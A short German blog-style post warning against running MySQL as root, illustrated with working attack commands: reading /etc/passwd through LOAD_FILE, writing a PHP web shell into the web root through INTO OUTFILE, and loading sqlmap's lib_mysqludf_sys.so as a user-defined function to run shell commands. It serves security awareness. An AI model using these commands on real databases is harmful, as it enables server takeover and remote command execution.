Dienste unnötigerweise als root bzw. mit maximalen Berechtigungen laufen zu lassen ist generell eine schlechte Idee. Besonders dämlich ist sie bei MySQL. Über LOAD_FILE und INTO OUTFILE stellt MySQL einem Angreifer ein paar praktische Möglichkeiten zur Verfügung, die sich auch problemlos über SQL Injections nutzen lassen:
SELECT LOAD_FILE(„/etc/passwd“);
SELECT ‚<?php system($_REQUEST[‚cmd‘]); ?>‘ INTO OUTFILE ‚/var/www/webshell.php
Diese beiden Funktionalitäten lassen zwar schon genug Schaden zu, es geht aber noch eine Stufe härter: Über MySQL User Defined Functions (UDF) lassen sich beliebige shell-Kommandos ausführen. Das Tool sqlmap beinhaltet die notwendigen Libs im Ordner udf. Die korrekte Lib auf den Server nach /tmp/ laden und aktivieren:
mysql> use mysql;
mysql> create table abc(line blob);
mysql> insert into abc values(load_file(‚/tmp/lib_mysqludf_sys.so‘));
mysql> select * from abc into dumpfile ‚/usr/lib/lib_mysqludf_sys.so‘;
mysql> create function sys_exec returns integer soname ‚lib_mysqludf_sys.so‘;
mysql> select sys_exec(‚touch /test‘);
Privilege escalation by MySQL…